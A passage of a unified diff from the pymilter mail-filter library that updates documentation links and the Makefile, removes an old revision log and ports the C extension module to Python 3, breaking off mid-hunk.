|
# <a href="https://github.com/sdgathman/pydspam/">pydspam</a> wraps
|
||||||
# the libdspam API of the <a href="http://dspam.sourceforge.net/">DSPAM</a>
|
# the libdspam API of the <a href="http://dspam.sourceforge.net/">DSPAM</a>
|
||||||
# project.
|
# project.
|
||||||
#
|
#
|
||||||
|
# <a href="https://github.com/sdgathman/pysrs/">pysrs</a> rewrites
|
||||||
|
# MAIL FROM to include a timestamped signature so that "bounce spam"
|
||||||
|
# can be immediately rejected.
|
||||||
|
#
|
||||||
|
# <a href="https://github.com/sdgathman/pygossip/">pygossip</a> is a
|
||||||
|
# system to track reputation by domain and authentication level and type,
|
||||||
|
# and a simple protocol to gossip about reputations with other mail servers.
|
||||||
|
#
|
||||||
# @section Milters written with pymilter
|
# @section Milters written with pymilter
|
||||||
#
|
#
|
||||||
# <a href="https://github.com/croessner/vrfydmn">Verify Domain</a> is a
|
# <a href="https://github.com/croessner/vrfydmn">Verify Domain</a> is a
|
||||||
# Postfix milter that rejects/fixes manipulated From: header
|
# Postfix milter that rejects/fixes manipulated From: header
|
||||||
# on a mail host with multiple virtual domains.
|
# on a mail host with multiple virtual domains.
|
||||||
#
|
#
|
||||||
# <a href="https://pypi.python.org/pypi/milter/">BMS Milter</a> has several
|
# <a href="https://github.com/sdgathman/milter/">BMS Milter</a> has several
|
||||||
# milters, a big complicated spam filter that integrates multiple
|
# milters, a big complicated spam filter that integrates multiple
|
||||||
# authentication protocols with pydpsm, and two simple ones: spfmilter.py and
|
# authentication protocols with pydspam, and two simple ones: spfmilter.py and
|
||||||
# dkim-milter.py.
|
# dkim-milter.py.
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -1,14 +1,18 @@
|
|||||||
web:
|
web:
|
||||||
doxygen
|
doxygen
|
||||||
test -L doc/html/milter_api || ln -sf /usr/share/doc/sendmail-devel-* doc/html/milter_api
|
test -L doc/html/milter_api || ln -sf /usr/share/doc/sendmail-milter-devel doc/html/milter_api
|
||||||
rsync -ravKk doc/html/ spidey2.bmsi.com:/Public/pymilter
|
rsync -ravKk doc/html/ pymilter.org:/var/www/html/milter/pymilter
|
||||||
cd doc/html; zip -r ../../doc .
|
cd doc/html; zip -r ../../doc .
|
||||||
|
|
||||||
VERSION=1.0.2
|
VERSION=1.0.5
|
||||||
PKG=pymilter-$(VERSION)
|
PKG=pymilter-$(VERSION)
|
||||||
SRCTAR=$(PKG).tar.gz
|
SRCTAR=$(PKG).tar.gz
|
||||||
|
|
||||||
$(SRCTAR):
|
$(SRCTAR):
|
||||||
git archive --format=tar.gz --prefix=$(PKG)/ -o $(SRCTAR) $(PKG)
|
git archive --format=tar.gz --prefix=$(PKG)/ -o $(SRCTAR) $(PKG)
|
||||||
|
|
||||||
|
# add extra copy of name like github so annoyingly does...
|
||||||
|
github:
|
||||||
|
git archive --format=tar.gz --prefix=pymilter-$(PKG)/ -o $(SRCTAR) $(PKG)
|
||||||
|
|
||||||
gittar: $(SRCTAR)
|
gittar: $(SRCTAR)
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
## A very simple milter to prevent mixing of internal and external mail.
|
## A very simple sample milter to prevent mixing of internal and external mail.
|
||||||
# Internal is defined as using one of a list of internal top level domains.
|
# Internal is defined as using one of a list of internal top level domains.
|
||||||
# This code is open-source on the same terms as Python.
|
# This code is open-source on the same terms as Python.
|
||||||
|
|
||||||
|
|||||||
-174
@@ -1,174 +0,0 @@
|
|||||||
diff --git a/miltermodule.c b/miltermodule.c
|
|
||||||
index aa10a08..4d5a93d 100644
|
|
||||||
--- a/miltermodule.c
|
|
||||||
+++ b/miltermodule.c
|
|
||||||
@@ -343,7 +343,7 @@ static struct MilterCallback {
|
|
||||||
{ NULL , NULL }
|
|
||||||
};
|
|
||||||
|
|
||||||
-staticforward struct smfiDesc description; /* forward declaration */
|
|
||||||
+static struct smfiDesc description; /* forward declaration */
|
|
||||||
|
|
||||||
static PyObject *MilterError;
|
|
||||||
/* The interpreter instance that called milter.main */
|
|
||||||
@@ -355,7 +355,7 @@ typedef struct {
|
|
||||||
|
|
||||||
static milter_Diag diag;
|
|
||||||
|
|
||||||
-staticforward PyTypeObject milter_ContextType;
|
|
||||||
+static PyTypeObject milter_ContextType;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
PyObject_HEAD
|
|
||||||
@@ -700,7 +700,7 @@ _generic_wrapper(milter_ContextObject *self, PyObject *cb, PyObject *arglist) {
|
|
||||||
result = PyEval_CallObject(cb, arglist);
|
|
||||||
Py_DECREF(arglist);
|
|
||||||
if (result == NULL) return _report_exception(self);
|
|
||||||
- if (!PyInt_Check(result)) {
|
|
||||||
+ if (!PyLong_Check(result)) {
|
|
||||||
const struct MilterCallback *p;
|
|
||||||
const char *cbname = "milter";
|
|
||||||
char buf[40];
|
|
||||||
@@ -715,7 +715,7 @@ _generic_wrapper(milter_ContextObject *self, PyObject *cb, PyObject *arglist) {
|
|
||||||
PyErr_SetString(MilterError,buf);
|
|
||||||
return _report_exception(self);
|
|
||||||
}
|
|
||||||
- retval = PyInt_AS_LONG(result);
|
|
||||||
+ retval = PyLong_AS_LONG(result);
|
|
||||||
Py_DECREF(result);
|
|
||||||
_release_thread(self->t);
|
|
||||||
return retval;
|
|
||||||
@@ -732,7 +732,7 @@ makeipaddr(struct sockaddr_in *addr) {
|
|
||||||
sprintf(buf, "%d.%d.%d.%d",
|
|
||||||
(int) (x>>24) & 0xff, (int) (x>>16) & 0xff,
|
|
||||||
(int) (x>> 8) & 0xff, (int) (x>> 0) & 0xff);
|
|
||||||
- return PyString_FromString(buf);
|
|
||||||
+ return PyUnicode_FromString(buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef HAVE_IPV6_SUPPORT
|
|
||||||
@@ -740,8 +740,8 @@ static PyObject *
|
|
||||||
makeip6addr(struct sockaddr_in6 *addr) {
|
|
||||||
char buf[100]; /* must be at least INET6_ADDRSTRLEN + 1 */
|
|
||||||
const char *s = inet_ntop(AF_INET6, &addr->sin6_addr, buf, sizeof buf);
|
|
||||||
- if (s) return PyString_FromString(s);
|
|
||||||
- return PyString_FromString("inet6:unknown");
|
|
||||||
+ if (s) return PyUnicode_FromString(s);
|
|
||||||
+ return PyUnicode_FromString("inet6:unknown");
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
@@ -832,7 +832,7 @@ generic_env_wrapper(SMFICTX *ctx, PyObject*cb, char **argv) {
|
|
||||||
for (i=0;i<count;i++) {
|
|
||||||
/* There's some error checking performed in do_mkvalue() for a string */
|
|
||||||
/* that's not currently done here - it probably should be */
|
|
||||||
- PyObject *o = PyString_FromStringAndSize(argv[i], strlen(argv[i]));
|
|
||||||
+ PyObject *o = PyUnicode_FromStringAndSize(argv[i], strlen(argv[i]));
|
|
||||||
if (o == NULL) { /* out of memory */
|
|
||||||
Py_DECREF(arglist);
|
|
||||||
return _report_exception(self);
|
|
||||||
@@ -889,7 +889,7 @@ milter_wrap_body(SMFICTX *ctx, u_char *bodyp, size_t bodylen) {
|
|
||||||
c = _get_context(ctx);
|
|
||||||
if (!c) return SMFIS_TEMPFAIL;
|
|
||||||
/* Unclear whether this should be s#, z#, or t# */
|
|
||||||
- arglist = Py_BuildValue("(Os#)", c, bodyp, bodylen);
|
|
||||||
+ arglist = Py_BuildValue("(Oy#)", c, bodyp, bodylen);
|
|
||||||
return _generic_wrapper(c, body_callback, arglist);
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -963,7 +963,7 @@ milter_wrap_negotiate(SMFICTX *ctx,
|
|
||||||
int i;
|
|
||||||
for (i = 0; i < 4; ++i) {
|
|
||||||
*pa[i] = (i <= len)
|
|
||||||
- ? PyInt_AsUnsignedLongMask(PyList_GET_ITEM(optlist,i))
|
|
||||||
+ ? PyLong_AsUnsignedLongMask(PyList_GET_ITEM(optlist,i))
|
|
||||||
: fa[i];
|
|
||||||
}
|
|
||||||
if (PyErr_Occurred()) {
|
|
||||||
@@ -1551,11 +1551,6 @@ static PyMethodDef context_methods[] = {
|
|
||||||
{ NULL, NULL }
|
|
||||||
};
|
|
||||||
|
|
||||||
-static PyObject *
|
|
||||||
-milter_Context_getattr(PyObject *self, char *name) {
|
|
||||||
- return Py_FindMethod(context_methods, self, name);
|
|
||||||
-}
|
|
||||||
-
|
|
||||||
static struct smfiDesc description = { /* Set some reasonable defaults */
|
|
||||||
"pythonfilter",
|
|
||||||
SMFI_VERSION,
|
|
||||||
@@ -1604,14 +1599,13 @@ static PyMethodDef milter_methods[] = {
|
|
||||||
};
|
|
||||||
|
|
||||||
static PyTypeObject milter_ContextType = {
|
|
||||||
- PyObject_HEAD_INIT(&PyType_Type)
|
|
||||||
- 0,
|
|
||||||
- "milterContext",
|
|
||||||
+ PyVarObject_HEAD_INIT(&PyType_Type,0)
|
|
||||||
+ "milter.Context",
|
|
||||||
sizeof(milter_ContextObject),
|
|
||||||
0,
|
|
||||||
milter_Context_dealloc, /* tp_dealloc */
|
|
||||||
0, /* tp_print */
|
|
||||||
- milter_Context_getattr, /* tp_getattr */
|
|
||||||
+ 0, /* tp_getattr */
|
|
||||||
0, /* tp_setattr */
|
|
||||||
0, /* tp_compare */
|
|
||||||
0, /* tp_repr */
|
|
||||||
@@ -1625,6 +1619,13 @@ static PyTypeObject milter_ContextType = {
|
|
||||||
0, /* tp_setattro */
|
|
||||||
0, /* tp_as_buffer */
|
|
||||||
Py_TPFLAGS_DEFAULT, /* tp_flags */
|
|
||||||
+ NULL, /* Documentation string */
|
|
||||||
+ 0, /* call function for all accessible objects */
|
|
||||||
+ 0, /* delete references to contained objects */
|
|
||||||
+ 0, /* rich comparisons */
|
|
||||||
+ 0, /* weak reference enabler */
|
|
||||||
+ 0, 0, /* Iterators */
|
|
||||||
+ context_methods, /* Attribute descriptor and subclassing stuff */
|
|
||||||
};
|
|
||||||
|
|
||||||
static const char milter_documentation[] =
|
|
||||||
@@ -1634,17 +1635,31 @@ Libmilter is currently marked FFR, and needs to be explicitly installed.\n\
|
|
||||||
See <sendmailsource>/libmilter/README for details on setting it up.\n";
|
|
||||||
|
|
||||||
static void setitem(PyObject *d,const char *name,long val) {
|
|
||||||
- PyObject *v = PyInt_FromLong(val);
|
|
||||||
+ PyObject *v = PyLong_FromLong(val);
|
|
||||||
PyDict_SetItemString(d,name,v);
|
|
||||||
Py_DECREF(v);
|
|
||||||
}
|
|
||||||
|
|
||||||
-void
|
|
||||||
-initmilter(void) {
|
|
||||||
+static struct PyModuleDef moduledef = {
|
|
||||||
+ PyModuleDef_HEAD_INIT,
|
|
||||||
+ "milter", /* m_name */
|
|
||||||
+ milter_documentation,/* m_doc */
|
|
||||||
+ -1, /* m_size */
|
|
||||||
+ milter_methods, /* m_methods */
|
|
||||||
+ NULL, /* m_reload */
|
|
||||||
+ NULL, /* m_traverse */
|
|
||||||
+ NULL, /* m_clear */
|
|
||||||
+ NULL, /* m_free */
|
|
||||||
+};
|
|
||||||
+
|
|
||||||
+PyMODINIT_FUNC PyInit_milter(void) {
|
|
||||||
PyObject *m, *d;
|
|
||||||
|
|
||||||
- m = Py_InitModule4("milter", milter_methods, milter_documentation,
|
|
||||||
- (PyObject*)NULL, PYTHON_API_VERSION);
|
|
||||||
+ if (PyType_Ready(&milter_ContextType) < 0)
|
|
||||||
+ return NULL;
|
|
||||||
+
|
|
||||||
+ m = PyModule_Create(&moduledef);
|
|
||||||
+ if (m == NULL) return NULL;
|
|
||||||
d = PyModule_GetDict(m);
|
|
||||||
MilterError = PyErr_NewException("milter.error", NULL, NULL);
|
|
||||||
PyDict_SetItemString(d,"error", MilterError);
|
|
||||||
@@ -1710,4 +1725,5 @@ initmilter(void) {
|
|
||||||
setitem(d,"DISCARD", SMFIS_DISCARD);
|
|
||||||
setitem(d,"ACCEPT", SMFIS_ACCEPT);
|
|
||||||
setitem(d,"TEMPFAIL", SMFIS_TEMPFAIL);
|
|
||||||
+ return m;
|
|
||||||
}
|
|
||||||
+112
-236
@@ -34,217 +34,6 @@ $ python setup.py help
|
|||||||
|
|
||||||
libraries=["milter","smutil","resolv"]
|
libraries=["milter","smutil","resolv"]
|
||||||
|
|
||||||
* $Log$
|
|
||||||
* Revision 1.35 2013/03/14 22:11:25 customdesigned
|
|
||||||
* Release 0.9.8
|
|
||||||
*
|
|
||||||
* Revision 1.34 2013/03/09 05:42:14 customdesigned
|
|
||||||
* Make TestBase members private, fix getsymlist misspelling.
|
|
||||||
*
|
|
||||||
* Revision 1.33 2013/03/09 00:25:23 customdesigned
|
|
||||||
* Better untrapped exception message. const char for doc comments.
|
|
||||||
*
|
|
||||||
* Revision 1.32 2013/01/13 01:46:16 customdesigned
|
|
||||||
* Doc updates.
|
|
||||||
*
|
|
||||||
* Revision 1.31 2012/04/12 23:32:50 customdesigned
|
|
||||||
* Replace redundant callback array with macros. If this doesn't break anything,
|
|
||||||
* macros can be eliminated with code changes.
|
|
||||||
*
|
|
||||||
* Revision 1.30 2012/04/12 23:08:06 customdesigned
|
|
||||||
* Support RFC2553 on BSD
|
|
||||||
*
|
|
||||||
* Revision 1.29 2011/06/09 15:45:27 customdesigned
|
|
||||||
* Print callback name for non-int return error.
|
|
||||||
*
|
|
||||||
* Revision 1.28 2011/06/08 23:13:48 customdesigned
|
|
||||||
* Generate special exception when callback return not int.
|
|
||||||
*
|
|
||||||
* Revision 1.27 2009/07/28 21:45:54 customdesigned
|
|
||||||
* Add getversion() to return runtime version.
|
|
||||||
*
|
|
||||||
* Revision 1.26 2009/07/28 21:08:20 customdesigned
|
|
||||||
* Increment del count.
|
|
||||||
*
|
|
||||||
* Revision 1.25 2009/07/28 20:58:55 customdesigned
|
|
||||||
* getdiag method
|
|
||||||
*
|
|
||||||
* Revision 1.24 2009/06/09 01:54:44 customdesigned
|
|
||||||
* Forgot to initialize optional parameter.
|
|
||||||
*
|
|
||||||
* Revision 1.23 2009/05/29 20:44:58 customdesigned
|
|
||||||
* Typo SMFIP_NO constants.
|
|
||||||
*
|
|
||||||
* Revision 1.22 2009/05/29 19:53:36 customdesigned
|
|
||||||
* Typo SMFIS_ALL_OPTS
|
|
||||||
*
|
|
||||||
* Revision 1.21 2009/05/29 19:49:40 customdesigned
|
|
||||||
* Typo calling helo instead of negotiate.
|
|
||||||
*
|
|
||||||
* Revision 1.20 2009/05/29 18:25:59 customdesigned
|
|
||||||
* Null terminate keyword list.
|
|
||||||
*
|
|
||||||
* Revision 1.19 2009/05/28 18:36:42 customdesigned
|
|
||||||
* Support new callbacks, including negotiate
|
|
||||||
*
|
|
||||||
* Revision 1.18 2009/05/21 21:53:05 customdesigned
|
|
||||||
* First cut at support unknown, data, negotiate callbacks.
|
|
||||||
*
|
|
||||||
* Revision 1.17 2009/02/06 04:28:08 customdesigned
|
|
||||||
* Oops! Missing options argument pointer for addrcpt.
|
|
||||||
*
|
|
||||||
* Revision 1.16 2008/12/16 04:21:05 customdesigned
|
|
||||||
* Fedora release
|
|
||||||
*
|
|
||||||
* Revision 1.15 2008/12/13 20:29:56 customdesigned
|
|
||||||
* Split off milter applications.
|
|
||||||
*
|
|
||||||
* Revision 1.14 2008/12/04 19:43:00 customdesigned
|
|
||||||
* Doc updates.
|
|
||||||
*
|
|
||||||
* Revision 1.13 2008/11/23 03:06:47 customdesigned
|
|
||||||
* Milter support for chgfrom.
|
|
||||||
*
|
|
||||||
* Revision 1.12 2008/11/21 20:42:52 customdesigned
|
|
||||||
* Support smfi_chgfrom and smfi_addrcpt_par.
|
|
||||||
*
|
|
||||||
* Revision 1.11 2007/09/25 02:26:29 customdesigned
|
|
||||||
* Update license.
|
|
||||||
*
|
|
||||||
* Revision 1.10 2006/02/12 02:00:42 customdesigned
|
|
||||||
* Resolve FIXME for wrap_close.
|
|
||||||
*
|
|
||||||
* Revision 1.9 2005/12/23 21:46:36 customdesigned
|
|
||||||
* Compile on sendmail-8.12 (ifdef SMFIR_INSHEADER)
|
|
||||||
*
|
|
||||||
* Revision 1.8 2005/10/20 23:23:36 customdesigned
|
|
||||||
* Include smfi_progress is SMFIR_PROGRESS defined
|
|
||||||
*
|
|
||||||
* Revision 1.7 2005/10/20 23:04:46 customdesigned
|
|
||||||
* Add optional idx for position of added header.
|
|
||||||
*
|
|
||||||
* Revision 1.6 2005/07/15 22:18:17 customdesigned
|
|
||||||
* Support callback exception policy
|
|
||||||
*
|
|
||||||
* Revision 1.5 2005/06/24 04:20:07 customdesigned
|
|
||||||
* Report context allocation error.
|
|
||||||
*
|
|
||||||
* Revision 1.4 2005/06/24 04:12:43 customdesigned
|
|
||||||
* Remove unused name argument to generic wrappers.
|
|
||||||
*
|
|
||||||
* Revision 1.3 2005/06/24 03:57:35 customdesigned
|
|
||||||
* Handle close called before connect.
|
|
||||||
*
|
|
||||||
* Revision 1.2 2005/06/02 04:18:55 customdesigned
|
|
||||||
* Update copyright notices after reading article on /.
|
|
||||||
*
|
|
||||||
* Revision 1.1.1.2 2005/05/31 18:09:06 customdesigned
|
|
||||||
* Release 0.7.1
|
|
||||||
*
|
|
||||||
* Revision 2.31 2004/08/23 02:24:36 stuart
|
|
||||||
* Support setbacklog
|
|
||||||
*
|
|
||||||
* Revision 2.30 2004/08/21 20:29:53 stuart
|
|
||||||
* Support option of 11 lines max for mlreply.
|
|
||||||
*
|
|
||||||
* Revision 2.29 2004/08/21 04:14:29 stuart
|
|
||||||
* mlreply support
|
|
||||||
*
|
|
||||||
* Revision 2.28 2004/08/21 02:45:21 stuart
|
|
||||||
* Don't leak int constants if module unloaded.
|
|
||||||
*
|
|
||||||
* Revision 2.27 2004/04/06 03:19:59 stuart
|
|
||||||
* Release 0.6.8
|
|
||||||
*
|
|
||||||
* Revision 2.26 2004/03/04 21:43:06 stuart
|
|
||||||
* Fix memory leak by removing unused dynamic template buffer,
|
|
||||||
* thanks again to Alexander Kourakos.
|
|
||||||
*
|
|
||||||
* Revision 2.25 2004/03/01 19:45:03 stuart
|
|
||||||
* Release 0.6.5
|
|
||||||
*
|
|
||||||
* Revision 2.24 2004/03/01 18:56:50 stuart
|
|
||||||
* Support progress reporting.
|
|
||||||
*
|
|
||||||
* Revision 2.23 2004/03/01 18:36:09 stuart
|
|
||||||
* Plug memory leak. Thanks to Alexander Kourakos.
|
|
||||||
*
|
|
||||||
* Revision 2.22 2003/11/02 03:01:46 stuart
|
|
||||||
* Adjust SMTP error codes after careful reading of standard.
|
|
||||||
*
|
|
||||||
* Revision 2.21 2003/06/24 19:57:04 stuart
|
|
||||||
* Allow removing a python milter callback by setting to None.
|
|
||||||
*
|
|
||||||
* Revision 2.20 2003/02/13 17:08:57 stuart
|
|
||||||
* IPV6 support
|
|
||||||
*
|
|
||||||
* Revision 2.19 2003/02/13 16:58:29 stuart
|
|
||||||
* Support passing None to setreply and chgheader.
|
|
||||||
*
|
|
||||||
* Revision 2.18 2002/12/11 16:44:06 stuart
|
|
||||||
* Support QUARANTINE if supported by libmilter.
|
|
||||||
*
|
|
||||||
* Revision 2.17 2002/04/18 20:20:35 stuart
|
|
||||||
* Fix for NULL hostaddr in connect callback from Jason Erickson.
|
|
||||||
*
|
|
||||||
* Revision 2.16 2001/09/26 13:29:09 stuart
|
|
||||||
* sa_len not supported by linux.
|
|
||||||
*
|
|
||||||
* Revision 2.15 2001/09/25 17:28:40 stuart
|
|
||||||
* Copyrights, documentation, release 0.3.1
|
|
||||||
*
|
|
||||||
* Revision 2.14 2001/09/25 00:36:57 stuart
|
|
||||||
* Pass hostaddr to python code in format used by standard socket module.
|
|
||||||
*
|
|
||||||
* Revision 2.13 2001/09/24 23:44:55 stuart
|
|
||||||
* Return old callback from setcallback functions.
|
|
||||||
*
|
|
||||||
* Revision 2.12 2001/09/24 20:02:30 stuart
|
|
||||||
* Remove redundant setpriv
|
|
||||||
*
|
|
||||||
* Revision 2.11 2001/09/23 22:26:35 stuart
|
|
||||||
* Update docs. Streamline Milter.py
|
|
||||||
* update testbms.py to reflect actual sendmail behaviour with multiple
|
|
||||||
* messages per connection.
|
|
||||||
*
|
|
||||||
* Revision 2.10 2001/09/22 15:33:42 stuart
|
|
||||||
* More doc comment updates.
|
|
||||||
*
|
|
||||||
* Revision 2.9 2001/09/22 14:52:27 stuart
|
|
||||||
* Actually return retval in _generic_return.
|
|
||||||
* Go over doc comments.
|
|
||||||
*
|
|
||||||
* Revision 2.8 2001/09/22 01:59:32 stuart
|
|
||||||
* Prevent reentrant call of milter_main, which libmilter doesn't support.
|
|
||||||
*
|
|
||||||
* Revision 2.7 2001/09/22 01:47:37 stuart
|
|
||||||
* Forgot to set milter interp.
|
|
||||||
*
|
|
||||||
* Revision 2.6 2001/09/22 01:23:53 stuart
|
|
||||||
* Added proper threading after research in python docs.
|
|
||||||
*
|
|
||||||
* Revision 2.5 2001/09/21 20:08:51 stuart
|
|
||||||
* Release 0.2.3
|
|
||||||
*
|
|
||||||
* Revision 2.4 2001/09/20 16:18:16 stuart
|
|
||||||
* libmilter checks in_eom state, so we don't have to.
|
|
||||||
*
|
|
||||||
* Revision 2.3 2001/09/19 06:02:33 stuart
|
|
||||||
* Make more stuff static.
|
|
||||||
*
|
|
||||||
* Revision 2.1 2001/09/19 04:24:13 stuart
|
|
||||||
* Use extension type to track context in python.
|
|
||||||
*
|
|
||||||
* Revision 1.4 2001/09/18 18:48:28 stuart
|
|
||||||
* clear private data reference in _clear_context
|
|
||||||
*
|
|
||||||
* Revision 1.3 2001/09/15 04:19:37 stuart
|
|
||||||
* nasty off by 1 mem overwrite bugs in wrap_env
|
|
||||||
* generic_set_callback
|
|
||||||
*
|
|
||||||
* Revision 1.2 2001/09/15 03:15:39 stuart
|
|
||||||
* several bugs fixed, works smoothly
|
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef MAX_ML_REPLY
|
#ifndef MAX_ML_REPLY
|
||||||
@@ -254,6 +43,7 @@ $ python setup.py help
|
|||||||
#error MAX_ML_REPLY must be 1 or 11 or 32
|
#error MAX_ML_REPLY must be 1 or 11 or 32
|
||||||
#endif
|
#endif
|
||||||
#define _FFR_MULTILINE (MAX_ML_REPLY > 1)
|
#define _FFR_MULTILINE (MAX_ML_REPLY > 1)
|
||||||
|
#define PY_SSIZE_T_CLEAN
|
||||||
|
|
||||||
//#include <pthread.h> // shouldn't be needed - use Python API
|
//#include <pthread.h> // shouldn't be needed - use Python API
|
||||||
#include <Python.h> // Python C API
|
#include <Python.h> // Python C API
|
||||||
@@ -282,7 +72,7 @@ $ python setup.py help
|
|||||||
* published. Unfortunately I know of no good way to do this
|
* published. Unfortunately I know of no good way to do this
|
||||||
* other than with OS-specific tests.
|
* other than with OS-specific tests.
|
||||||
*/
|
*/
|
||||||
#if defined(__FreeBSD__) || defined(__linux__)
|
#if defined(__FreeBSD__) || defined(__linux__) || defined(__sun__) || defined(__GLIBC__) || (defined(__APPLE__) && defined(__MACH__))
|
||||||
#define HAVE_IPV6_RFC2553
|
#define HAVE_IPV6_RFC2553
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#endif
|
#endif
|
||||||
@@ -343,7 +133,13 @@ static struct MilterCallback {
|
|||||||
{ NULL , NULL }
|
{ NULL , NULL }
|
||||||
};
|
};
|
||||||
|
|
||||||
staticforward struct smfiDesc description; /* forward declaration */
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
static struct smfiDesc description; /* forward declaration */
|
||||||
|
static PyTypeObject milter_ContextType;
|
||||||
|
#else
|
||||||
|
staticforward struct smfiDesc description; /* forward declaration */
|
||||||
|
staticforward PyTypeObject milter_ContextType;
|
||||||
|
#endif
|
||||||
|
|
||||||
static PyObject *MilterError;
|
static PyObject *MilterError;
|
||||||
/* The interpreter instance that called milter.main */
|
/* The interpreter instance that called milter.main */
|
||||||
@@ -355,8 +151,6 @@ typedef struct {
|
|||||||
|
|
||||||
static milter_Diag diag;
|
static milter_Diag diag;
|
||||||
|
|
||||||
staticforward PyTypeObject milter_ContextType;
|
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
PyObject_HEAD
|
PyObject_HEAD
|
||||||
SMFICTX *ctx; /* libmilter thread state */
|
SMFICTX *ctx; /* libmilter thread state */
|
||||||
@@ -457,7 +251,7 @@ static const char milter_set_flags__doc__[] =
|
|||||||
Set flags for filter capabilities; OR of one or more of:\n\
|
Set flags for filter capabilities; OR of one or more of:\n\
|
||||||
ADDHDRS - filter may add headers\n\
|
ADDHDRS - filter may add headers\n\
|
||||||
CHGBODY - filter may replace body\n\
|
CHGBODY - filter may replace body\n\
|
||||||
CHGFROM - filter may replace body\n\
|
CHGFROM - filter may replace sender\n\
|
||||||
ADDRCPT - filter may add recipients\n\
|
ADDRCPT - filter may add recipients\n\
|
||||||
DELRCPT - filter may delete recipients\n\
|
DELRCPT - filter may delete recipients\n\
|
||||||
CHGHDRS - filter may change/delete headers";
|
CHGHDRS - filter may change/delete headers";
|
||||||
@@ -586,7 +380,7 @@ Sets the Python function invoked for each body chunk. There may\n\
|
|||||||
be multiple body chunks passed to the filter. End-of-lines are\n\
|
be multiple body chunks passed to the filter. End-of-lines are\n\
|
||||||
represented as received from SMTP (normally Carriage-Return/Line-Feed).\n\
|
represented as received from SMTP (normally Carriage-Return/Line-Feed).\n\
|
||||||
Function takes args (ctx, chunk) -> int\n\
|
Function takes args (ctx, chunk) -> int\n\
|
||||||
chunk -> String - body data";
|
chunk -> bytes - body data";
|
||||||
|
|
||||||
static PyObject *
|
static PyObject *
|
||||||
milter_set_body_callback(PyObject *self, PyObject *args) {
|
milter_set_body_callback(PyObject *self, PyObject *args) {
|
||||||
@@ -697,10 +491,14 @@ _generic_wrapper(milter_ContextObject *self, PyObject *cb, PyObject *arglist) {
|
|||||||
int retval;
|
int retval;
|
||||||
|
|
||||||
if (arglist == NULL) return _report_exception(self);
|
if (arglist == NULL) return _report_exception(self);
|
||||||
result = PyEval_CallObject(cb, arglist);
|
result = PyObject_CallObject(cb, arglist);
|
||||||
Py_DECREF(arglist);
|
Py_DECREF(arglist);
|
||||||
if (result == NULL) return _report_exception(self);
|
if (result == NULL) return _report_exception(self);
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
if (!PyLong_Check(result)) {
|
||||||
|
#else
|
||||||
if (!PyInt_Check(result)) {
|
if (!PyInt_Check(result)) {
|
||||||
|
#endif
|
||||||
const struct MilterCallback *p;
|
const struct MilterCallback *p;
|
||||||
const char *cbname = "milter";
|
const char *cbname = "milter";
|
||||||
char buf[40];
|
char buf[40];
|
||||||
@@ -715,7 +513,11 @@ _generic_wrapper(milter_ContextObject *self, PyObject *cb, PyObject *arglist) {
|
|||||||
PyErr_SetString(MilterError,buf);
|
PyErr_SetString(MilterError,buf);
|
||||||
return _report_exception(self);
|
return _report_exception(self);
|
||||||
}
|
}
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
retval = PyLong_AS_LONG(result);
|
||||||
|
#else
|
||||||
retval = PyInt_AS_LONG(result);
|
retval = PyInt_AS_LONG(result);
|
||||||
|
#endif
|
||||||
Py_DECREF(result);
|
Py_DECREF(result);
|
||||||
_release_thread(self->t);
|
_release_thread(self->t);
|
||||||
return retval;
|
return retval;
|
||||||
@@ -732,7 +534,11 @@ makeipaddr(struct sockaddr_in *addr) {
|
|||||||
sprintf(buf, "%d.%d.%d.%d",
|
sprintf(buf, "%d.%d.%d.%d",
|
||||||
(int) (x>>24) & 0xff, (int) (x>>16) & 0xff,
|
(int) (x>>24) & 0xff, (int) (x>>16) & 0xff,
|
||||||
(int) (x>> 8) & 0xff, (int) (x>> 0) & 0xff);
|
(int) (x>> 8) & 0xff, (int) (x>> 0) & 0xff);
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
return PyUnicode_FromString(buf);
|
||||||
|
#else
|
||||||
return PyString_FromString(buf);
|
return PyString_FromString(buf);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef HAVE_IPV6_SUPPORT
|
#ifdef HAVE_IPV6_SUPPORT
|
||||||
@@ -740,8 +546,13 @@ static PyObject *
|
|||||||
makeip6addr(struct sockaddr_in6 *addr) {
|
makeip6addr(struct sockaddr_in6 *addr) {
|
||||||
char buf[100]; /* must be at least INET6_ADDRSTRLEN + 1 */
|
char buf[100]; /* must be at least INET6_ADDRSTRLEN + 1 */
|
||||||
const char *s = inet_ntop(AF_INET6, &addr->sin6_addr, buf, sizeof buf);
|
const char *s = inet_ntop(AF_INET6, &addr->sin6_addr, buf, sizeof buf);
|
||||||
if (s) return PyString_FromString(s);
|
#if PY_MAJOR_VERSION >= 3
|
||||||
return PyString_FromString("inet6:unknown");
|
if (s) return PyUnicode_FromString(s);
|
||||||
|
return PyUnicode_FromString("inet6:unknown");
|
||||||
|
#else
|
||||||
|
if (s) return PyString_FromString(s);
|
||||||
|
return PyString_FromString("inet6:unknown");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -832,7 +643,11 @@ generic_env_wrapper(SMFICTX *ctx, PyObject*cb, char **argv) {
|
|||||||
for (i=0;i<count;i++) {
|
for (i=0;i<count;i++) {
|
||||||
/* There's some error checking performed in do_mkvalue() for a string */
|
/* There's some error checking performed in do_mkvalue() for a string */
|
||||||
/* that's not currently done here - it probably should be */
|
/* that's not currently done here - it probably should be */
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
PyObject *o = PyBytes_FromStringAndSize(argv[i], strlen(argv[i]));
|
||||||
|
#else
|
||||||
PyObject *o = PyString_FromStringAndSize(argv[i], strlen(argv[i]));
|
PyObject *o = PyString_FromStringAndSize(argv[i], strlen(argv[i]));
|
